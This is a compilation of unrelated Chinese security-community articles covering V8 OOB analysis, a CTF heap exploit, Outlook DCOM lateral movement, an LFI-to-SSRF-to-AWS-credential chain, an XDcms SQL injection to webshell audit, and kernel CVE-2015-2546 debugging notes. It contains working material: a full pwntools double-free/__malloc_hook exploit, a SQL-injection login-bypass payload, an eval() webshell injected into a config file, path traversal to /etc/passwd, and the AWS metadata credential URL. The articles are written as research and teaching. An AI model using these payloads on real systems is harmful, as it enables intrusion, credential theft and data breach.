console.log(oob(1));
执行它将会打印出如下内容：
$ ./d8 exp.js --allow-natives-syntax --trace-turbo
3.3
4.4
0
我们可以尝试通过节点海跟踪一下这个分析过程。在没有进行优化时，我们得到的节点海为：
此时将遍历所有结点，并通过计算得出它们的 Range 取值范围。可以发现，此时的 CheckBounds 得知这个范围为 `Range(2,3)`
，这是不可能发生溢出的。
然后到了 typedlowering 阶段，将开始进行初步的优化，可以注意到，此时 `1+1` 已经被优化为了 `NumberConstant[2]`
，但并没有重新计算 CheckBounds 得到的范围。
由于turbofan发现这个结点获得的索引始终都在Range(2,3)，因此在simplified lowering阶段已经将这个结点删除：
而当完成优化以后，再次执行这个函数时，`t+1+1` 变成 `t+2` 导致了计算结果超出预期进行越界读写，却没能被检查出来，因此得到了越界的能力。
> 总结以下上述的过程就是：
>
> * Range 只在最初的阶段进行计算
> * 而如果后续的优化会导致 Range 的范围变动，而 turbofan 并不会重新计算
> * 于是该值发生越界
>
>
> 当然，由于现在的版本不再删除 checkbound 结点，因此这个问题只会发生在过去，但它仍然值得我们学习。
能够越界读写以后，泄露地址和伪造数据自然不在话下。只要修改 JSArray 的 length 属性为需要的值，之后就能够随意读写界外了。相关代码如下：
bool IsOutOfBoundsAccess(Handle<Object> receiver, uint32_t index) {
uint32_t length = 0;
if (receiver->IsJSArray()) {
// 获取 JSArray 的 length
JSArray::cast(*receiver)->length()->ToArrayLength(&length);
} else if (receiver->IsString()) {
length = String::cast(*receiver)->length();
} else if (receiver->IsJSObject()) {
length = JSObject::cast(*receiver)->elements()->length();
} else {
return false;
}
// 判断是否越界
return index >= length;
}
具体的利用已经有很多师傅详细聊过，因此本篇就不做多余的赘述了。
* * * | 社区文章 |
这个题目是铁三决赛和鹏城杯final同时出现的题，刚好那个比赛结束这个比赛开始，在鹏城的时候有的师傅直接10分钟就getshell去打全场了。而对题目印象不深的我还在一直喊着6666.
### 程序分析
具体分析一下鹏城杯的版本，因为他比铁三的版本多了一个函数，虽然我觉得并没有什么用
##### main函数
堆题一般都是典型的菜单题，有很多的选项来进行一个多选项的操作。并没有什么特殊的地方。
##### addnote函数
这里有一个添加堆的操作，第一反应应该是可能可以泄漏出一些地址来进行操作。这里规定了我们malloc的大小，其实有点感觉就是fastbin attack
##### shownote函数
就是进行一个堆内容的输出，利用的是puts函数也就不用多说了
##### freenote函数
这里没有对指针进行一个晴空所以可以进行一个double free 或者是uaf的利用
##### hacksys函数
有一个栈溢出吧，还可以泄漏地址，然后在hacker函数里面有一个下表越界，感觉这里洞挺多的，但是我这里具体介绍下uaf的地址泄漏➕改malloc_hook
### doublefree介绍
故名思义，就是对一个堆块进行了两次free， 但是free了同一个堆块两次，其中在glibc中对此有一个检查
其中是检查main_arean是否指向向了原来的一个chunk，这个就是非常容易绕过的只需要free(p1);free(p2);free(p1)就可以绕过了。
#### 利用过程
这是我们执行doublefree之后的图，此时malloc出chunk1，更改chunk1的fd，又因为此时chunk1是在fastbin
list，也就是结构变成了下图
可以看见现在fastbin list中会多指向一个我们的fakebin（此时就可以进行任意地址写了）
#### check_fail
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim));
return NULL;
}
其中会有一个对fakebin，size大小的检查，如果不满足当前fastbin链中应该有的大小则会显示异常。
#### 思路分析
题目的漏洞很明显，所以只需要进行一次泄漏地址然后就可以直接doule free进行改的操作了，题目本身并不难但是没有改过malloc
hook的人可能会遇到改不了的情况这个时候就要多调试，多看自己填充的位置是不是正确的。
### exp
from pwn import *
context.log_level='debug'
#p=process("./littlenote",env={"LD_PRELOAD":"./libc-2.23.so"})
p =remote('172.91.0.125',8088)
libc=ELF("./libc-2.23.so")
def add_Y(content):
p.recvuntil("Your choice:")
p.sendline('1')
p.recvuntil('Enter your note')
p.send(content)
p.recvuntil("Want to keep your note?")
p.sendline('Y')
def add_N(content):
p.recvuntil("Your choice:")
p.sendline('1')
p.recvuntil('Enter your note')
p.send(content)
p.recvuntil("Want to keep your note?")
p.sendline('N')
def show(idx):
p.recvuntil("Your choice:")
p.sendline('2')
p.recvuntil("Which note do you want to show?")
p.sendline(str(idx))
def delete(idx):
p.recvuntil("Your choice:")
p.sendline('3')
p.recvuntil("Which note do you want to delete?")
p.sendline(str(idx))
add_N('aaaa')
delete(0)
add_Y('\n')
show(1)
p.recvuntil('\n')
libc_base=u64(p.recv(6).ljust(8,'\x00'))+0x6e-0x58-libc.symbols['__malloc_hook']-0x10
print hex(libc_base)
#gdb.attach(p,"b *$rebase(0xa50)")
malloc_addr=libc.symbols['__malloc_hook']+libc_base
one=libc_base+0xf02a4
add_Y('aaaa')
add_Y('bbbb')
add_Y('cccc')
delete(2)
delete(3)
delete(2)
add_Y(p64(malloc_addr-0x23))
add_Y('aaaa')
add_Y('bbbb')
add_Y('a'*0x13+p64(one)+'\n')
print hex(one)
delete(0)
p.interactive()
#### 总结
题目不难适合练习改写malloc hook和double free大佬勿喷 | 社区文章 |
# 【技术分享】利用Outlook的CreateObject及DotNetToJScript实现横向渗透
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[eridanus96](http://bobao.360.cn/member/contribute?uid=2857535356)
预估稿费：130RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
在以前，我在博客中曾经探讨了利用Windows中的分布式组件对象模型（DCOM）进行横向渗透的多种方法，链接为：
<https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/> 。
在本文，我们将研究如何利用Outlook的CreateObject()方法来实现横向渗透。
如果你不熟悉CreatObject()方法，可以先参考微软的官方文档，链接为：
<https://msdn.microsoft.com/en-us/library/aa262700(v=vs.60).aspx> 。
**实际上，这一方法会允许你实例化一个任意的COM对象。**
要利用DCOM应用进行横向渗透，通常会有一个问题，就是我们可能难以满足该方法所需的前提要求。大多情况下，我们需要借助 **ShellExecute**
（或者类似的）方法来启动任意进程，或是在目标主机上打开恶意文件。 **但有一个重要的前提，就是需要预先在本地磁盘（或网络共享）中放置一个载荷。**
虽然这种横向渗透的技术十分有效，但综合考虑到利用的条件，这种方案并不理想。
举例来说，ShellBrowser/ShellBrowserWindow应用只允许启动带有参数的进程，这样就导致我们还要去考虑命令行日志记录的因素。那么，通过Run()方法来执行宏呢？同样，也需要先在本地或者共享目录下有一个包含恶意宏的文件，这显然也不是一个理想的方案。
那么，有没有方法能通过DCOM直接执行Shellcode，而无须向目标主机上传文件或启动PowerShell或regsvr32这类的进程呢？答案是肯定的，我们可以借助Outlook的DCOM来实现。
**实现过程**
首先，我们需要远程实例化Outlook：
$com = [Type]::GetTypeFromProgID('Outlook.Application’,’192.168.99.152’)
$object = [System.Activator]::CreateInstance($com)
上一步完成之后，我们就可以使用CreateObject()方法了：
如上所述， **这个方法提供了在远程主机上实例化任何COM对象的能力。**
那么我们如何用它去执行Shellcode呢？通过使用CreatObject方法，我们可以实例化ScriptControl
COM对象，该对象允许通过AddCode()方法来执行任意VBScript或者JavaScript：
$RemoteScriptControl = $object.CreateObject(“ScriptControl”)
如果我们使用James Forshaw的DotNetToJScript技术，
**在VBS或JS中反序列化一个.NET程序集，我们便可以在VBS或JS代码传递给AddCode()方法后，通过ScriptControl来实现Shellcode的执行。**
由于ScriptControl对象是通过Outlook的CreateObject()方法远程实例化的，因此传递的任何代码都能够在远程主机上执行。
关于更详细的DotNetToJScript技术，请参考James的Github：
<https://github.com/tyranid/DotNetToJScript> 。
为了证明这一点，我将使用一个简单的程序集来启动计算器。我们用C#语言编写的PoC如下：
在编译载荷之后，就可以将其传递给DotNetToJScript，并返回一些可爱的JS或VBS。在本文的样例中，我们选择了JS。
现在已经生成了有效载荷，它可以传递到远程主机上Outlook的CreateObject方法创建的ScriptControl
COM对象。我们通过将整个JS/VBS代码块存储在PowerShell的变量中来完成。如下所示，我们将它存储在一个名为“$code”的变量中：
最后一步，我们需要做的是将ScriptControl对象上的“Language”属性设置为我们要执行的语言（JS/VBS），然后将“AddCode()”方法作为参数，调用“$code”变量：
$RemoteScriptControl.Language = “JScript”
$RemoteScriptControl.AddCode($code)
在调用“AddCode()”方法之后，我们的JavaScript将会在远程主机上执行：
如你所见，此时calc.exe已经在远程主机上启动，我们由此就完成了借助Outlook的横向。
**检测与缓解方式**
如果你仔细观察上面的截图，会发现OUTLOOK.EXE在这里变成了svchost.exe的一个子进程。
**这就说明，Outlook应用程序正在通过DCOM进行远程实例化，所以我们可以通过这一点来检测是否受到了这一方法的攻击。**
**在大多情况下，正在启动的进程会在命令行的显示中包含“-embedding”（嵌入），这也是远程实例化的一个标志。**
除此之外，vbscript.dll或jscript/jscript9.dll的模块加载也不同寻常。在通常情况下，加载这些的并不是Outlook，而是所使用的ScriptControl对象的指示器。
在本文的例子中，载荷是作为Outlook.exe的子进程运行的，这就显得十分奇怪。
**需要强调的是，如果一个.NET程序集正在执行，就意味着我们一定可以进行Shellcode注入。**
攻击者可以编写一个将Shellcode注入另一个进程的程序集，并借此来绕过进程父子关系的检测，而不是直接地启动进程。
**此外，启用Windows防火墙后将会阻挡此类攻击，因为防火墙会阻止DCOM的使用。** | 社区文章 |
嗨，大家好，
这是另一个关于我最近发现的一系列安全漏洞的安全漏洞撰写，这些安全漏洞与印度最赚钱的电子商务公司的数据库之一相关联。让我们看看完整的故事 -
（这是在有关公司的明确许可下完成的）
他应该是一个针对性的攻击，我是专门在寻找一个LFI漏洞（本地文件包含）集中，所以我是在寻找和探索其被相关的一些互动与文件，然后我碰到一个前来的功能和终端更敏锐通常的功能，应用程序为您提供“Android
Google Play”和“iPhone App store”选项，以下载他们的应用程序。
他应该是一个针对性的攻击，我是专门在寻找一个LFI漏洞（本地文件包含）集中，所以我是在寻找和探索其被相关的一些互动与文件，然后我碰到一个前来的功能和终端更敏锐通常的功能，应用程序为您提供“Android
Google Play”和“iPhone App store”选项，以下载他们的应用程序。
预期的逻辑非常明确，我注意到有趣的事情（正如你在红色框中看到的），有一个php文件“download_handler.php”在URL中缺少，需要参数“path”作为finaldownloadlink和“name”的URL名称，这就是没有下载任何内容的原因。让我们按照上面的代码，所以最终的URL出来了
-
`downloadcallback/download_handler.php?path=`
我只是尝试了目录遍历攻击（../../../../etc/passwd），幸运的是，文件获得了最大权限（一个常见错误：/）我能够阅读/ etc /
passwd内容和各种其他的文件 -
/ etc / passwd文件
通过LFI读取其他敏感文件
我能够读取各种Linux系统文件，配置，访问日志，让我获得用户访问令牌获取参数和更敏感的信息。这个完整漏洞的罪魁祸首是“download_handler.php”
-
download_handler.php
php文件只是将文件作为输入并将其读回客户端。很容易看到它也容易受到SSRF的攻击 -
尝试使用不同的URL模式（file：///，dict：//，ftp：//和gopher：//）读取/ etc /密码，并且能够使用file：///
scheme执行相同操作 -
SSRF导致访问/ etc / passwd
早些时候，当我通过LFI攻击抓取敏感文件时，我碰巧读了/ etc / motd文件，该文件表明该应用程序是通过AWS
ElasticBeanstalk部署的。
正在使用ElasticBeanstalk
此消息足以让我决定继续通过SSRF搜索AWS Instance元数据和用户数据 -
AWS实例用户数据
AWS Instance MetaData
我还能够从以下API“<http://169.254.169.254/latest/dynamic/instance-identity/document”>
中检索AWS账户ID和Region -
AWS元数据 - 检索帐户ID和区域
当我阅读AWS Elastic Beanstalk时，我遇到了一个API调用，它可以获取AWS Access Key，Secret Access
Key和Token。
`http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role`
我很快通过SSRF发出攻击，我能够获取他们的AWS Access密钥，ID，令牌，之前我也获得了他们的帐户ID，这就是漏洞变得更加严重的时刻 -
AWS账户访问ID和访问密钥
现在是时候对AWS账户进行身份验证了。为了确保凭证没有过期，我配置了aws-cli并尝试列出并将S3存储桶数据下载到我的本地机器上，我能够这样做 -
配置AWS命令行界面
将s3存储桶内容复制到本地计算机 -
递归复制所有S3 Bucket内容
在查看每个单独的S3存储桶时，我在一些存储桶中发现了一些关键文件，有像database.js，config.js，app.js，payment.config文件这样的文件很快吸引了我的注意力，正如我所料，他们发现包含支付哈希密钥和盐（可能用于篡改订单的付款），几个数据库凭据，一些内部工具用户名和密码等信息。还有一个MongoDB实例正在运行，其凭据也被发现在配置文件的纯文本中，当我尝试连接到它时，我发现他们的客户数据存储在其中
-
虽然它没有包含所有用户的详细信息，但它的数量超过了10K。我在此之后不久就报告了这个漏洞，他们很快就修补了它，并且还轮换了所有受影响的凭据和密钥。所以从LFI开始，我到达了SSRF，从那里我开始知道应用程序是通过Elastic
Beanstalk部署的，从那里我能够获取一个AWS账户凭据，这有助于我获得他们的数据库凭证之一躺在一个S3桶中，我有完整的读/写访问权限并连接到数据库，我发现成千上万的客户详细信息以及各种其他敏感的凭据/密钥和信息。
关于这个有趣的发现就是这样！
谢谢阅读！
`原文地址 ：https://medium.com/@logicbomb_1/chain-of-hacks-leading-to-database-compromise-b2bc2b883915` | 社区文章 |
# XDcms3.0.1挖掘新利用
## 一、前言
XDcms是一款十分具有教学意义（挖洞）的cms软件，你可以在其中发现很多不同的漏洞和利用，下面我将讲述一条完整的getshell利用链。
## 二、框架分析
### 首页
### 常量声明
包含常规配置文件，配置储存常用目录的常量，创建了一个Smarty模板示例来渲染网页内容，加载数据库配置文件`config.inc.php`和常用函数文件`fun.inc.php`。
### 加载框架
令人感到疑惑的是，他把框架的启动文件`global.inc.php`放到了`fun.inc.php`包含。
* `clue.inc.php`一些提示文本
* `base.class.php`几个基类(base、db、checkLogin)
* `Cookie.class.php`设置cookie的类及方法（前面类的首字母都是小写）
* `global.inc.php`启动框架
### 启动框架
框架启动可以说是很简易了，充满了不安全的气息.
* 包含任意php文件。
* 如果类构造方法没有鉴权，就可以调用任意方法。
* 调用的`safe_html`正则更是一绝
#### 两个安全函数的绕过
function safe_html($str){
if(empty($str)){return;}
$str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/','',$str);
return htmlspecialchars($str);
}
我们有
* 双写绕过
* 大小写绕过
* 换号绕过
* ....
等等这么多种绕过方法。
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','"',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}
对于这个过滤函数我们完全可以不理他，因为很多地方忘记调用这个来进行安全过滤了（xz上另一位分析该cms的朋友不会绕这个
### 启动流程结束
## 三、漏洞挖掘
对于这样的流程，我们可以考虑寻找不需要鉴权的类方法调用（几乎所有的方法都是`public`公开方法
），下面我们来尝试发现一下。
### 任意调用db基类恶意方法
上来就逮到了，__call魔术方法把请求直接返回。
其他方法均继承了该方法，也就是说 ~~我们发现了一个XSS漏洞~~ 并没有什么危险。
好了发现完毕。
### SQL注入
是的，看似 **不安全** 的流程在mvc的设计理念下也可以很轻易地做到 **安全**
，本cms唯一的缺陷（如果目录系统有其他可以利用的php类文件的话，但是并没有）就是 **没有统一接收变量和安全处理变量** 吧（写的细碎的正则）。
但是安全是一个追求极致的哲学，任何一个缺陷都可能造成整个大厦崩盘，下面我们将利用sql注入拿到更高权限。对于本系统后台密码 **加盐** 并
**使用了自己写的加密算法加密** ，一般的注入难以进行下一步的登录后台、getshell等操作。
### 但是！！！
./system/modules/xdcms/login.php -》check方法
public function check(){
$username = safe_html($_POST['username']);
$password = safe_html($_POST['password']);
$verifycode = safe_html($_POST['verifycode']);
...
$sql="select * from ".DB_PRE."admin where `username`='$username'";
...
$rs=$this->mysql->get_one($sql);
$password=password($password,$rs['encrypt']);
if($password!=$rs['password']){
showmsg(C('password_error'),'-1');
}
可以看到他这里调用了不安全的safe_html来处理登录请求，存在sql注入！
但是后台密码加了盐怎么利用呢？
答案是万能密码。我们可以利用联合查询控制查询结果，控制`password`字段以及`encrypt`字段来完成他的判定逻辑。
登录逻辑流程：
* 接收账号、密码、验证码，进行了可绕过的过滤
* 查询数据库里username为我们输入的账号的用户
* 取出第一条结果的encrypt字段，和我们输入的密码一起作为参数，调用`password`函数
* 将函数加密的结果与查询结果比对，若一致则登录成功。
那么我们的利用逻辑就很清晰了，利用注入控制password字段和encrypt字段，使得`$rs['password']==password($_POST['password'],$rs['encrypt'])`。
我们把password函数拉出来，计算password('123456','1')作为我们修改的password，encrypt为1，然后我们输入123456便成功登录。
构造的payload如下
`username=q'union selselectect 1,2,'c6c6e122d028f5e37f845c8660374b78'
password,'1' encrypt,5,6,7,8,9,10#&password=123456&verifycode=&button=`
我们测试一下
可以看到我们成功登录了。
登录以后，XDCMS就是个任你揉捏的面团了，我们很随便地找到一万种拿shell方法。
### 写配置文件getshell的方法拿到shell。
后台->系统设置->网页设置->基本信息
$cms=SYS_PATH.'xdcms.inc.php'; //生成xdcms配置文件
$cmsurl="<?php\n define('CMS_URL','".$info['siteurl']."');\n define('TP_FOLDER','".$info['template']."');\n define('TP_CACHE',".$info['caching'].");\n?>";
creat_inc($cms,$cmsurl);
设置siteurl为`http://127.0.0.1/');eval($_GET[0]);`即可。
### 设置允许上传后缀拿shell
后台->系统设置->网页设置->上传设置
添加phtml（php默认在黑名单），上传phtml拿到shell
### 模板管理写配置拿shell
后台->系统设置->栏目管理->管理栏目，这里每个变量都可以写，注意闭合语句减少对网站的破坏。
### ...
## 四、总结
我们经过本次审计分析了XDCMS工作流程，确定了MVC控制框架安全的可靠性，最后创新性地利用注入构造万能密码进入后台拿到设立了。总体难度不大，相信同志们都有所收获。 | 社区文章 |
# 【技术分享】经典内核漏洞调试笔记之二
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：**[ **k0pwn_ko**
****](http://bobao.360.cn/member/contribute?uid=1353169030)
**稿费：500RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆 ** ** ** **[
**网页版**](http://bobao.360.cn/contribute/index)********** **在线投稿**
**传送门**
[**【技术分享】经典内核漏洞调试笔记** ****](http://bobao.360.cn/learning/detail/3170.html)
**
**
**前言**
上一次我发了一篇自己在一个经典内核漏洞CVE-2014-4113中挣扎的经历，以及一些调试细节的分享：<http://bobao.360.cn/learning/detail/3170.html>
总结过后感觉自己收获很多，后来一个偶然的机会，我看到了百度安全实验室发的一篇文章，是关于另一个经典的内核漏洞，也就是今天的主角—-CVE-2015-2546这个漏洞的从补丁对比到Exploit的分析：[http://xlab.baidu.com/cve-2015-2546%ef%bc%9a%e4%bb%8e%e8%a1%a5%e4%b8%81%e6%af%94%e5%af%b9%e5%88%b0exploit/](http://xlab.baidu.com/cve-2015-2546%ef%bc%9a%e4%bb%8e%e8%a1%a5%e4%b8%81%e6%af%94%e5%af%b9%e5%88%b0exploit/)
同样感觉收获满满，在这篇分析中，总结了漏洞的成因，以及构造还原的手法，受益匪浅，但是并没有提供Exploit，于是根据这篇分析，我尝试编写了一下Exploit，这一次真的是非常艰辛，一边逆向调试，一边编写Exploit，磕磕绊绊完成了这个漏洞的利用，但和我的上一篇分析一样，在调试过程中，有好多非常有意思的过程，所以总结了一下，拿出来和大家一起分享。
下面开始我这只小菜鸟的提权之旅。
**
**
**从CVE-2014-4113到CVE-2015-2546**
首先我来描述一下这个漏洞的过程：在创建弹出菜单之后，当进行鼠标操作的时候会触发鼠标事件，引发win32k.sys下的一个叫做MNMouseMove的函数，在这个函数的处理过程中会涉及到一个叫做MNHideNextHierarchy的函数，这个函数会传入一个参数，这个参数是一个名为tagPOPUPMENU的结构体对象，由于对于这个对象没有进行检查，导致可以通过前面的SendMessage异步的方法，使用将这个对象释放掉，然后使用一个fake_tag进行占位，从而将这个fake_tag传入MNHideNextHierarchy，在这个函数中会处理一个1E4消息，在这里由于fake_tag的关系，导致释放后重用，从而引发在Ring0层执行Shellcode，最后完成提权。
第一次看到这个漏洞的时候，我就觉得这个利用的过程和CVE-2014-4113非常相像，都是在SendMessage中完成的利用，也就是利用的call
[esi+60h]这个汇编指令。
要想触发这个漏洞，首先要想办法执行到MNMouseMove，我们一起来分析一下从哪里能够执行到MNMouseMove。
这个过程是不是非常熟悉，从TrackPopupMenuEx到MNLoop，到HandleMenuMessages，最后到MNMouseMove。我们上一篇调试CVE-2014-4113就是这个过程，上一个漏洞发生在HandleMenuMessage中，而CVE-2015-2546发生在HandleMenuMessages里面的另一个调用，那么我就产生了一个想法，CVE-2014-4113的Exploit我们是否能在这个漏洞里使用呢？（事后证明，想的容易，做起来难，不过过程很有意思。）我们就从CVE-2014-4113这个Exploit入手，来完成CVE-2015-2546的提权。
**
**
**和内核对抗的日子**
****
首先我们来看一下CVE-2014-4113和CVE-2015-2546有多少关系，相关内容，可以看一下注释。
if ( v5 > 0x104 )
{
if ( v5 > 0x202 )
{
……
}
……
if ( v20 )
{
v21 = v20 - 1;
if ( v21 )
{
……
v13 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, (int)v7);
v52 = IsMFMWFPWindow(v13);
if ( v52 )
……
if ( v13 == -1 )
xxxMNButtonDown((PVOID)v3, v12, UnicodeString, 1);
else
xxxSendMessage((PVOID)v13, -19, UnicodeString, 0);// CVE -2014-4113的漏洞位置
if ( !(*(_DWORD *)(v12 + 4) & 0x100) )
xxxMNRemoveMessage(*(_DWORD *)(a1 + 4), 516);
}
return 0;
}
goto LABEL_59;
}
……
LABEL_59:
……
xxxMNMouseMove(v3, a2, (int)v7); // CVE-2015-2546漏洞位置
return 1;
}
}
可以看到，两个漏洞的位置都处于HandleMenuMessages的函数中，经过CVE-2014-4113的分析，我们发现这个过程需要通过调用PostMessage的函数，这涉及到对窗口的操作，在CVE-2014-4113中，通过WNDCLASS类中的lpfnWndProc定义了回调函数MyWndProc负责处理窗口函数，这里使用的PostMessage的方法。
这样的话，为了使程序执行到MNMouseMove，我需要设定一个鼠标事件，这里的灵感来源于百度实验室的分析文章，所以我考虑使用。
//WM_SYSCOMMAND处理消息
PostMessage(hwnd,WM_SYSCOMMAND,0,0);//发送WM_SYSCOMMAND
//鼠标事件
PostMessage(hwnd,WM_LBUTTONDOWN,0,0);//鼠标左键按下
PostMessage(hwnd,WM_LBUTTONUP,0,0);//鼠标左键抬起
但是经过调试，我发现无论如何也到达不了调试位置，这样我需要考虑为何无法到达调试位置，在分析的过程中发现了一个有趣的事情，首先，在CVE-2014-4113中，使用TrackPopupMenu会创建一个弹出窗口菜单。
但是，当修改了MyWndProc变成我们设定的事件之后，窗口菜单弹出后就没有后续动作了，也就是说，没有进入MNMouseMove的处理过程，但是当我把鼠标挪到上图的菜单中时，我们首先命中了HandleMenuMessages断点，紧接着命中了MNMouseMove。
kd> g
Breakpoint 6 hit
win32k!xxxHandleMenuMessages:
90668d78 8bff mov edi,edi
kd> g
Breakpoint 4 hit
win32k!xxxMNMouseMove:
906693ef 8bff mov edi,edi
这说明在鼠标挪上去后在HandleMenuMessages中发生的事情能够使程序最后进入MNMouseMove，分析一下这个过程。
kd> p
win32k!xxxHandleMenuMessages+0x1b:
90668d93 8b7508 mov esi,dword ptr [ebp+8]
kd> p
win32k!xxxHandleMenuMessages+0x1e:
90668d96 8b4604 mov eax,dword ptr [esi+4]
kd> p
win32k!xxxHandleMenuMessages+0x21:
90668d99 8b5608 mov edx,dword ptr [esi+8]
kd> r eax
eax=00000200
可以发现，程序进入后，会传递一个值0x200，这个值会在随后的过程中连续传递并且判断并且跳转，这个过程不再详细跟踪，举两个跳转的例子。
//一处跳转，0x200和0x104作比较
kd> p
win32k!xxxHandleMenuMessages+0x2f:
90668da7 895dfc mov dword ptr [ebp-4],ebx
kd> p
win32k!xxxHandleMenuMessages+0x32:
90668daa 3bc1 cmp eax,ecx
kd> r eax
eax=00000200
kd> r ecx
ecx=00000104
kd> p
win32k!xxxHandleMenuMessages+0x34:
90668dac 0f87e4010000 ja win32k!xxxHandleMenuMessages+0x21d (90668f96)
//另一处跳转，0x200和0x202作比较
kd> p
win32k!xxxHandleMenuMessages+0x21d:
90668f96 b902020000 mov ecx,202h
kd> p
win32k!xxxHandleMenuMessages+0x222:
90668f9b 3bc1 cmp eax,ecx
kd> p
win32k!xxxHandleMenuMessages+0x224:
90668f9d 0f8706010000 ja win32k!xxxHandleMenuMessages+0x330 (906690a9)
这时我们看一下我这篇文章开头提到的HandleMenuMessages函数的分析，在开头有两处if语句判断，正是和这两个值做的比较，接下来经过一系列判断跳转之后，我们就到达了MNMouseMove的调用。
kd> p
win32k!xxxHandleMenuMessages+0x264:
90668fdd a900040000 test eax,400h
kd> p
win32k!xxxHandleMenuMessages+0x269:
90668fe2 747a je win32k!xxxHandleMenuMessages+0x2e5 (9066905e)
kd> p
win32k!xxxHandleMenuMessages+0x2e5:
9066905e 53 push ebx
9066905e地址所处的位置，已经是MNMouseMove的上方，ebx正在作为MNMouseMove的参数传入栈中。
.text:BF93905E ; 395: xxxMNMouseMove(v3, a2, (int)v7);
.text:BF93905E push ebx ; int
.text:BF93905F push esi ; int
.text:BF939060 push edi ; UnicodeString
.text:BF939061 call _xxxMNMouseMove@12 ; xxxMNMouseMove(x,x,x)
也就是说，之前传入的这个eax是一个很关键的值，如果弄明白这个值，就可以让程序成功执行到MNMouseMove了，但因为这个过程实际上是通过Windows下的图形界面操作（也就是鼠标在我们创建的主窗口移动产生的），所以我们并不能通过CVE-2014-4113的源码分析出来，这里需要分析一下这个值得内容，这时我想到了CVE-2014-4113源程序，同样也是在HandleMenuMessages进行if语句的判断导致跳转，而CVE-2014-4113已经分析的很清楚了，运行CVE-2014-4113的源程序，中断在HandleMenuMessage调试。
kd> p
win32k!xxxHandleMenuMessages+0x19:
90668d91 53 push ebx
kd> p
win32k!xxxHandleMenuMessages+0x1a:
90668d92 56 push esi
kd> p
win32k!xxxHandleMenuMessages+0x1b:
90668d93 8b7508 mov esi,dword ptr [ebp+8]
kd> p
win32k!xxxHandleMenuMessages+0x1e:
90668d96 8b4604 mov eax,dword ptr [esi+4]
kd> p
win32k!xxxHandleMenuMessages+0x21:
90668d99 8b5608 mov edx,dword ptr [esi+8]
kd> r eax
eax=00000201
kd> dd esi
85c4bb0c 000f02a2 00000201 00000000 00000000
可以看到这里eax的值是0x201（刚才那个是0x200），也就是十进制的513，来看一下CVE-2014-4113里的过程，计算一下。
v20 = v5 - 261;
if ( v20 )
{
v21 = v20 - 1;
if ( v21 )
{
v22 = v21 - 18;
if ( !v22 )
return 1;
v23 = v22 - 232;
if ( v23 )
{
if ( v23 == 1 )
{
LABEL_13:
v12 = a2;
*(_DWORD *)(a2 + 16) = -1;
*(_DWORD *)(a2 + 8) = (signed __int16)v7;
*(_DWORD *)(a2 + 12) = SHIWORD(v7);
v13 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, (int)v7);
v52 = IsMFMWFPWindow(v13);
这里要计算最后v23的值，就从最上方v20的值开始向下判断，也就是v23=513-261-1-18-232=1，正好v23等于1，从而进入下面CVE-2014-4113的处理逻辑。v5的值，就是0x201，也就是513，那么这个值到底是什么呢，我们来查一下这个值。
public enum WMessages : int
{
WM_LBUTTONDOWN = 0x201, //Left mousebutton down
WM_LBUTTONUP = 0x202, //Left mousebutton up
WM_LBUTTONDBLCLK = 0x203, //Left mousebutton doubleclick
WM_RBUTTONDOWN = 0x204, //Right mousebutton down
WM_RBUTTONUP = 0x205, //Right mousebutton up
WM_RBUTTONDBLCLK = 0x206, //Right mousebutton doubleclick
WM_KEYDOWN = 0x100, //Key down
WM_KEYUP = 0x101, //Key up
}
原来这个值就是WM_LBUTTONDOWN的值，正是CVE-2014-4113利用程序中MyWndProc中其中第三个PostMessage中调用到的第二个参数值，所以，我在这里，将我的Exploit中的PostMessage里第二个参数直接修改成0x200，重新运行程序，终于命中了MNMouseMove断点。接下来可以进入内层函数分析了。
进入内层函数后，我们需要想办法让程序执行到MNFindeWindowFromPoint函数调用的位置，但是我发现到其中一个判断的时候没法通过，会直接到退出的位置。
kd> p
win32k!xxxMNMouseMove+0x2f:
9066941e 0f846f010000 je win32k!xxxMNMouseMove+0x1a4 (90669593)
kd> p
win32k!xxxMNMouseMove+0x1a4:
90669593 5f pop edi
来看一下IDA pro的伪代码。
if ( (signed __int16)a3 != *(_DWORD *)(a2 + 8) || SHIWORD(a3) != *(_DWORD *)(a2 + 12) )
{
只有上面伪代码中的if语句判断通过后，才能进入到漏洞的处理流程，动态跟踪一下这个过程。
kd> p
win32k!xxxMNMouseMove+0x26:
90669415 c1ea10 shr edx,10h
kd> r edx
edx=00000000
kd> p
win32k!xxxMNMouseMove+0x29:
90669418 0fbfd2 movsx edx,dx
kd> r edx
edx=00000000
kd> p
win32k!xxxMNMouseMove+0x2c:
9066941b 3b570c cmp edx,dword ptr [edi+0Ch]
这最主要的原因就是对比的两个值都为0，从而不满足if语句的跳转，跳过了漏洞处理所需的逻辑流程，但是在我们利用鼠标移动的时候，却发现这个流程可以进入if语句判断。
kd> p
win32k!xxxHandleMenuMessages+0x2e8:
90669061 e889030000 call win32k!xxxMNMouseMove (906693ef)
kd> dd esp
85c47a98 fde8da68 9074f580 000f0059 9074f580 //000f0059
kd> p
win32k!xxxMNMouseMove+0x18:
90669407 0fbfc1 movsx eax,cx
kd> r ecx
ecx=000f0059
kd> p
win32k!xxxMNMouseMove+0x1b:
9066940a 57 push edi
kd> p
win32k!xxxMNMouseMove+0x1c:
